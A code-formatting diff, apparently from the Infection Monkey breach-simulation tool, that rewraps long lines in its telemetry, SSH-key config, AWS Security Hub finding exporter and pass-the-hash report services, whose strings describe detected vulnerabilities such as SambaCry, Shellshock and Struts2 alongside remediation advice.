return [x['timestamp'] for x in mongo.db.telemetry.find({'telem_category': 'attack'}).sort('timestamp', -1).limit(1)][0]
|
return [
|
||||||
|
x['timestamp'] for x in
|
||||||
|
mongo.db.telemetry.find({'telem_category': 'attack'}).sort('timestamp', -1).limit(1)
|
||||||
|
][0]
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def get_latest_report():
|
def get_latest_report():
|
||||||
|
|
|
@ -122,11 +122,16 @@ class ConfigService:
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def ssh_add_keys(public_key, private_key, user, ip):
|
def ssh_add_keys(public_key, private_key, user, ip):
|
||||||
if not ConfigService.ssh_key_exists(ConfigService.get_config_value(['internal', 'exploits', 'exploit_ssh_keys'],
|
if not ConfigService.ssh_key_exists(
|
||||||
False, False), user, ip):
|
ConfigService.get_config_value(['internal', 'exploits', 'exploit_ssh_keys'], False, False), user, ip):
|
||||||
ConfigService.add_item_to_config_set('internal.exploits.exploit_ssh_keys',
|
ConfigService.add_item_to_config_set(
|
||||||
{"public_key": public_key, "private_key": private_key,
|
'internal.exploits.exploit_ssh_keys',
|
||||||
"user": user, "ip": ip})
|
{
|
||||||
|
"public_key": public_key,
|
||||||
|
"private_key": private_key,
|
||||||
|
"user": user, "ip": ip
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def ssh_key_exists(keys, user, ip):
|
def ssh_key_exists(keys, user, ip):
|
||||||
|
|
|
@ -148,8 +148,8 @@ class AWSExporter(Exporter):
|
||||||
severity=5,
|
severity=5,
|
||||||
title="Weak segmentation - Machines were able to communicate over unused ports.",
|
title="Weak segmentation - Machines were able to communicate over unused ports.",
|
||||||
description="Use micro-segmentation policies to disable communication other than the required.",
|
description="Use micro-segmentation policies to disable communication other than the required.",
|
||||||
recommendation="Machines are not locked down at port level. Network tunnel was set up from {0} to {1}"
|
recommendation="Machines are not locked down at port level. "
|
||||||
.format(issue['machine'], issue['dest']),
|
"Network tunnel was set up from {0} to {1}".format(issue['machine'], issue['dest']),
|
||||||
instance_arn=instance_arn,
|
instance_arn=instance_arn,
|
||||||
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
||||||
)
|
)
|
||||||
|
@ -160,10 +160,12 @@ class AWSExporter(Exporter):
|
||||||
return AWSExporter._build_generic_finding(
|
return AWSExporter._build_generic_finding(
|
||||||
severity=10,
|
severity=10,
|
||||||
title="Samba servers are vulnerable to 'SambaCry'",
|
title="Samba servers are vulnerable to 'SambaCry'",
|
||||||
description="Change {0} password to a complex one-use password that is not shared with other computers on the network. Update your Samba server to 4.4.14 and up, 4.5.10 and up, or 4.6.4 and up." \
|
description="Change {0} password to a complex one-use password that is not shared with other computers on the "
|
||||||
.format(issue['username']),
|
"network. Update your Samba server to 4.4.14 and up, "
|
||||||
recommendation="The machine {0} ({1}) is vulnerable to a SambaCry attack. The Monkey authenticated over the SMB protocol with user {2} and its password, and used the SambaCry vulnerability.".format(
|
"4.5.10 and up, or 4.6.4 and up.".format(issue['username']),
|
||||||
issue['machine'], issue['ip_address'], issue['username']),
|
recommendation="The machine {0} ({1}) is vulnerable to a SambaCry attack. The Monkey authenticated over the SMB "
|
||||||
|
"protocol with user {2} and its password, and used the SambaCry "
|
||||||
|
"vulnerability.".format(issue['machine'], issue['ip_address'], issue['username']),
|
||||||
instance_arn=instance_arn,
|
instance_arn=instance_arn,
|
||||||
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
||||||
)
|
)
|
||||||
|
@ -174,10 +176,10 @@ class AWSExporter(Exporter):
|
||||||
return AWSExporter._build_generic_finding(
|
return AWSExporter._build_generic_finding(
|
||||||
severity=5,
|
severity=5,
|
||||||
title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
|
title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
|
||||||
description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format(
|
description="Change {0}'s password to a complex one-use password that is not shared with other computers on the "
|
||||||
issue['username']),
|
"network.".format(issue['username']),
|
||||||
recommendation="The machine {0}({1}) is vulnerable to a SMB attack. The Monkey used a pass-the-hash attack over SMB protocol with user {2}.".format(
|
recommendation="The machine {0}({1}) is vulnerable to a SMB attack. The Monkey used a pass-the-hash attack over "
|
||||||
issue['machine'], issue['ip_address'], issue['username']),
|
"SMB protocol with user {2}.".format(issue['machine'], issue['ip_address'], issue['username']),
|
||||||
instance_arn=instance_arn,
|
instance_arn=instance_arn,
|
||||||
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
||||||
)
|
)
|
||||||
|
@ -188,10 +190,11 @@ class AWSExporter(Exporter):
|
||||||
return AWSExporter._build_generic_finding(
|
return AWSExporter._build_generic_finding(
|
||||||
severity=1,
|
severity=1,
|
||||||
title="Machines are accessible using SSH passwords supplied by the user during the Monkey's configuration.",
|
title="Machines are accessible using SSH passwords supplied by the user during the Monkey's configuration.",
|
||||||
description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format(
|
description="Change {0}'s password to a complex one-use password that is not shared with other computers on the "
|
||||||
issue['username']),
|
"network.".format(issue['username']),
|
||||||
recommendation="The machine {0} ({1}) is vulnerable to a SSH attack. The Monkey authenticated over the SSH protocol with user {2} and its password.".format(
|
recommendation="The machine {0} ({1}) is vulnerable to a SSH attack. The Monkey authenticated over the SSH"
|
||||||
issue['machine'], issue['ip_address'], issue['username']),
|
" protocol with user {2} and its "
|
||||||
|
"password.".format(issue['machine'], issue['ip_address'], issue['username']),
|
||||||
instance_arn=instance_arn,
|
instance_arn=instance_arn,
|
||||||
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
||||||
)
|
)
|
||||||
|
@ -203,8 +206,11 @@ class AWSExporter(Exporter):
|
||||||
severity=1,
|
severity=1,
|
||||||
title="Machines are accessible using SSH passwords supplied by the user during the Monkey's configuration.",
|
title="Machines are accessible using SSH passwords supplied by the user during the Monkey's configuration.",
|
||||||
description="Protect {ssh_key} private key with a pass phrase.".format(ssh_key=issue['ssh_key']),
|
description="Protect {ssh_key} private key with a pass phrase.".format(ssh_key=issue['ssh_key']),
|
||||||
recommendation="The machine {machine} ({ip_address}) is vulnerable to a SSH attack. The Monkey authenticated over the SSH protocol with private key {ssh_key}.".format(
|
recommendation="The machine {machine} ({ip_address}) is vulnerable to a SSH attack. The Monkey authenticated "
|
||||||
machine=issue['machine'], ip_address=issue['ip_address'], ssh_key=issue['ssh_key']),
|
"over the SSH protocol with private key {ssh_key}.".format(
|
||||||
|
machine=issue['machine'],
|
||||||
|
ip_address=issue['ip_address'],
|
||||||
|
ssh_key=issue['ssh_key']),
|
||||||
instance_arn=instance_arn,
|
instance_arn=instance_arn,
|
||||||
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
||||||
)
|
)
|
||||||
|
@ -216,8 +222,10 @@ class AWSExporter(Exporter):
|
||||||
severity=10,
|
severity=10,
|
||||||
title="Elastic Search servers are vulnerable to CVE-2015-1427",
|
title="Elastic Search servers are vulnerable to CVE-2015-1427",
|
||||||
description="Update your Elastic Search server to version 1.4.3 and up.",
|
description="Update your Elastic Search server to version 1.4.3 and up.",
|
||||||
recommendation="The machine {0}({1}) is vulnerable to an Elastic Groovy attack. The attack was made possible because the Elastic Search server was not patched against CVE-2015-1427.".format(
|
recommendation="The machine {0}({1}) is vulnerable to an Elastic Groovy attack. The attack was made "
|
||||||
issue['machine'], issue['ip_address']),
|
"possible because the Elastic Search server was not patched against CVE-2015-1427.".format(
|
||||||
|
issue['machine'],
|
||||||
|
issue['ip_address']),
|
||||||
instance_arn=instance_arn,
|
instance_arn=instance_arn,
|
||||||
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
||||||
)
|
)
|
||||||
|
@ -228,13 +236,13 @@ class AWSExporter(Exporter):
|
||||||
return AWSExporter._build_generic_finding(
|
return AWSExporter._build_generic_finding(
|
||||||
severity=1,
|
severity=1,
|
||||||
title="Weak segmentation - Machines from different segments are able to communicate.",
|
title="Weak segmentation - Machines from different segments are able to communicate.",
|
||||||
description="Segment your network and make sure there is no communication between machines from different segments.",
|
description="Segment your network and make sure there is no communication between machines from different "
|
||||||
|
"segments.",
|
||||||
recommendation="The network can probably be segmented. A monkey instance on \
|
recommendation="The network can probably be segmented. A monkey instance on \
|
||||||
{0} in the networks {1} \
|
{0} in the networks {1} \
|
||||||
could directly access the Monkey Island server in the networks {2}.".format(issue['machine'],
|
could directly access the Monkey Island server in the networks {2}.".format(issue['machine'],
|
||||||
issue['networks'],
|
issue['networks'],
|
||||||
issue[
|
issue['server_networks']),
|
||||||
'server_networks']),
|
|
||||||
instance_arn=instance_arn,
|
instance_arn=instance_arn,
|
||||||
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
||||||
)
|
)
|
||||||
|
@ -259,7 +267,8 @@ class AWSExporter(Exporter):
|
||||||
title="Machines are vulnerable to 'Shellshock'",
|
title="Machines are vulnerable to 'Shellshock'",
|
||||||
description="Update your Bash to a ShellShock-patched version.",
|
description="Update your Bash to a ShellShock-patched version.",
|
||||||
recommendation="The machine {0} ({1}) is vulnerable to a ShellShock attack. "
|
recommendation="The machine {0} ({1}) is vulnerable to a ShellShock attack. "
|
||||||
"The attack was made possible because the HTTP server running on TCP port {2} was vulnerable to a shell injection attack on the paths: {3}.".format(
|
"The attack was made possible because the HTTP server running on TCP port {2} was vulnerable to a "
|
||||||
|
"shell injection attack on the paths: {3}.".format(
|
||||||
issue['machine'], issue['ip_address'], issue['port'], issue['paths']),
|
issue['machine'], issue['ip_address'], issue['port'], issue['paths']),
|
||||||
instance_arn=instance_arn,
|
instance_arn=instance_arn,
|
||||||
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
||||||
|
@ -271,10 +280,13 @@ class AWSExporter(Exporter):
|
||||||
return AWSExporter._build_generic_finding(
|
return AWSExporter._build_generic_finding(
|
||||||
severity=1,
|
severity=1,
|
||||||
title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
|
title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
|
||||||
description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format(
|
description="Change {0}'s password to a complex one-use password that is not shared with other computers on the "
|
||||||
|
"network.".format(issue['username']),
|
||||||
|
recommendation="The machine {0} ({1}) is vulnerable to a SMB attack. The Monkey authenticated over the SMB "
|
||||||
|
"protocol with user {2} and its password.".format(
|
||||||
|
issue['machine'],
|
||||||
|
issue['ip_address'],
|
||||||
issue['username']),
|
issue['username']),
|
||||||
recommendation="The machine {0} ({1}) is vulnerable to a SMB attack. The Monkey authenticated over the SMB protocol with user {2} and its password.".format(
|
|
||||||
issue['machine'], issue['ip_address'], issue['username']),
|
|
||||||
instance_arn=instance_arn,
|
instance_arn=instance_arn,
|
||||||
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
||||||
)
|
)
|
||||||
|
@ -285,9 +297,13 @@ class AWSExporter(Exporter):
|
||||||
return AWSExporter._build_generic_finding(
|
return AWSExporter._build_generic_finding(
|
||||||
severity=1,
|
severity=1,
|
||||||
title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
|
title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
|
||||||
description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.",
|
description="Change {0}'s password to a complex one-use password that is not shared with other computers on the "
|
||||||
recommendation="The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey authenticated over the WMI protocol with user {username} and its password.".format(
|
"network.",
|
||||||
machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username']),
|
recommendation="The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey authenticated over "
|
||||||
|
"the WMI protocol with user {username} and its password.".format(
|
||||||
|
machine=issue['machine'],
|
||||||
|
ip_address=issue['ip_address'],
|
||||||
|
username=issue['username']),
|
||||||
instance_arn=instance_arn,
|
instance_arn=instance_arn,
|
||||||
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
||||||
)
|
)
|
||||||
|
@ -298,10 +314,13 @@ class AWSExporter(Exporter):
|
||||||
return AWSExporter._build_generic_finding(
|
return AWSExporter._build_generic_finding(
|
||||||
severity=1,
|
severity=1,
|
||||||
title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
|
title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
|
||||||
description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format(
|
description="Change {0}'s password to a complex one-use password that is not shared with other computers on the "
|
||||||
issue['username']),
|
"network.".format(issue['username']),
|
||||||
recommendation="The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey used a pass-the-hash attack over WMI protocol with user {username}".format(
|
recommendation="The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey used a "
|
||||||
machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username']),
|
"pass-the-hash attack over WMI protocol with user {username}".format(
|
||||||
|
machine=issue['machine'],
|
||||||
|
ip_address=issue['ip_address'],
|
||||||
|
username=issue['username']),
|
||||||
instance_arn=instance_arn,
|
instance_arn=instance_arn,
|
||||||
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
||||||
)
|
)
|
||||||
|
@ -325,9 +344,10 @@ class AWSExporter(Exporter):
|
||||||
return AWSExporter._build_generic_finding(
|
return AWSExporter._build_generic_finding(
|
||||||
severity=1,
|
severity=1,
|
||||||
title="Shared local administrator account - Different machines have the same account as a local administrator.",
|
title="Shared local administrator account - Different machines have the same account as a local administrator.",
|
||||||
description="Make sure the right administrator accounts are managing the right machines, and that there isn\'t an unintentional local admin sharing.",
|
description="Make sure the right administrator accounts are managing the right machines, and that there isn\'t "
|
||||||
recommendation="Here is a list of machines which the account {username} is defined as an administrator: {shared_machines}".format(
|
"an unintentional local admin sharing.",
|
||||||
username=issue['username'], shared_machines=issue['shared_machines']),
|
recommendation="Here is a list of machines which the account {username} is defined as an administrator: "
|
||||||
|
"{shared_machines}".format(username=issue['username'], shared_machines=issue['shared_machines']),
|
||||||
instance_arn=instance_arn,
|
instance_arn=instance_arn,
|
||||||
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
||||||
)
|
)
|
||||||
|
@ -339,7 +359,8 @@ class AWSExporter(Exporter):
|
||||||
severity=1,
|
severity=1,
|
||||||
title="Mimikatz found login credentials of a user who has admin access to a server defined as critical.",
|
title="Mimikatz found login credentials of a user who has admin access to a server defined as critical.",
|
||||||
description="This critical machine is open to attacks via strong users with access to it.",
|
description="This critical machine is open to attacks via strong users with access to it.",
|
||||||
recommendation="The services: {services} have been found on the machine thus classifying it as a critical machine. These users has access to it:{threatening_users}.".format(
|
recommendation="The services: {services} have been found on the machine thus classifying it as a critical "
|
||||||
|
"machine. These users has access to it:{threatening_users}.".format(
|
||||||
services=issue['services'], threatening_users=issue['threatening_users']),
|
services=issue['services'], threatening_users=issue['threatening_users']),
|
||||||
instance_arn=instance_arn,
|
instance_arn=instance_arn,
|
||||||
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
||||||
|
@ -353,8 +374,8 @@ class AWSExporter(Exporter):
|
||||||
title="Struts2 servers are vulnerable to remote code execution.",
|
title="Struts2 servers are vulnerable to remote code execution.",
|
||||||
description="Upgrade Struts2 to version 2.3.32 or 2.5.10.1 or any later versions.",
|
description="Upgrade Struts2 to version 2.3.32 or 2.5.10.1 or any later versions.",
|
||||||
recommendation="Struts2 server at {machine} ({ip_address}) is vulnerable to remote code execution attack."
|
recommendation="Struts2 server at {machine} ({ip_address}) is vulnerable to remote code execution attack."
|
||||||
" The attack was made possible because the server is using an old version of Jakarta based file upload Multipart parser.".format(
|
"The attack was made possible because the server is using an old version of Jakarta based file "
|
||||||
machine=issue['machine'], ip_address=issue['ip_address']),
|
"upload Multipart parser.".format(machine=issue['machine'], ip_address=issue['ip_address']),
|
||||||
instance_arn=instance_arn,
|
instance_arn=instance_arn,
|
||||||
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
||||||
)
|
)
|
||||||
|
@ -368,8 +389,8 @@ class AWSExporter(Exporter):
|
||||||
description="Install Oracle critical patch updates. Or update to the latest version. " \
|
description="Install Oracle critical patch updates. Or update to the latest version. " \
|
||||||
"Vulnerable versions are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0.",
|
"Vulnerable versions are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0.",
|
||||||
recommendation="Oracle WebLogic server at {machine} ({ip_address}) is vulnerable to remote code execution attack."
|
recommendation="Oracle WebLogic server at {machine} ({ip_address}) is vulnerable to remote code execution attack."
|
||||||
" The attack was made possible due to incorrect permission assignment in Oracle Fusion Middleware (subcomponent: WLS Security).".format(
|
"The attack was made possible due to incorrect permission assignment in Oracle Fusion Middleware "
|
||||||
machine=issue['machine'], ip_address=issue['ip_address']),
|
"(subcomponent: WLS Security).".format(machine=issue['machine'], ip_address=issue['ip_address']),
|
||||||
instance_arn=instance_arn,
|
instance_arn=instance_arn,
|
||||||
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
||||||
)
|
)
|
||||||
|
|
|
@ -30,7 +30,6 @@ class PTHReportService(object):
|
||||||
}
|
}
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
pipeline = [
|
pipeline = [
|
||||||
{"$match": {
|
{"$match": {
|
||||||
'NTLM_secret': {
|
'NTLM_secret': {
|
||||||
|
@ -55,7 +54,7 @@ class PTHReportService(object):
|
||||||
:param admin_on_machines: A list of "monkey" documents "_id"s
|
:param admin_on_machines: A list of "monkey" documents "_id"s
|
||||||
:param domain_name: The admins' domain name
|
:param domain_name: The admins' domain name
|
||||||
:return:
|
:return:
|
||||||
A list of formatted machines names *domain*\*hostname*, to use in shared admins issues.
|
A list of formatted machines names *domain*/*hostname*, to use in shared admins issues.
|
||||||
"""
|
"""
|
||||||
machines = mongo.db.monkey.find({'_id': {'$in': admin_on_machines}}, {'hostname': 1})
|
machines = mongo.db.monkey.find({'_id': {'$in': admin_on_machines}}, {'hostname': 1})
|
||||||
return [domain_name + '\\' + i['hostname'] for i in list(machines)]
|
return [domain_name + '\\' + i['hostname'] for i in list(machines)]
|
||||||
|
@ -144,7 +143,8 @@ class PTHReportService(object):
|
||||||
{
|
{
|
||||||
'name': admin['name'],
|
'name': admin['name'],
|
||||||
'domain_name': admin['domain_name'],
|
'domain_name': admin['domain_name'],
|
||||||
'admin_on_machines': PTHReportService.__get_admin_on_machines_format(admin['admin_on_machines'], admin['domain_name'])
|
'admin_on_machines': PTHReportService.__get_admin_on_machines_format(admin['admin_on_machines'],
|
||||||
|
admin['domain_name'])
|
||||||
} for admin in admins
|
} for admin in admins
|
||||||
]
|
]
|
||||||
|
|
||||||
|
@ -283,4 +283,3 @@ class PTHReportService(object):
|
||||||
}
|
}
|
||||||
|
|
||||||
return report
|
return report
|
||||||
|
|
||||||
|
|
|
@ -71,5 +71,12 @@ def get_subnets():
|
||||||
subnets = []
|
subnets = []
|
||||||
for interface in interfaces():
|
for interface in interfaces():
|
||||||
addresses = ifaddresses(interface).get(AF_INET, [])
|
addresses = ifaddresses(interface).get(AF_INET, [])
|
||||||
subnets.extend([ipaddress.ip_interface(link['addr'] + '/' + link['netmask']).network for link in addresses if link['addr'] != '127.0.0.1'])
|
subnets.extend(
|
||||||
|
[
|
||||||
|
ipaddress.ip_interface(link['addr'] + '/' + link['netmask']).network
|
||||||
|
for link
|
||||||
|
in addresses
|
||||||
|
if link['addr'] != '127.0.0.1'
|
||||||
|
]
|
||||||
|
)
|
||||||
return subnets
|
return subnets
|
||||||
|
|
Loading…
Reference in New Issue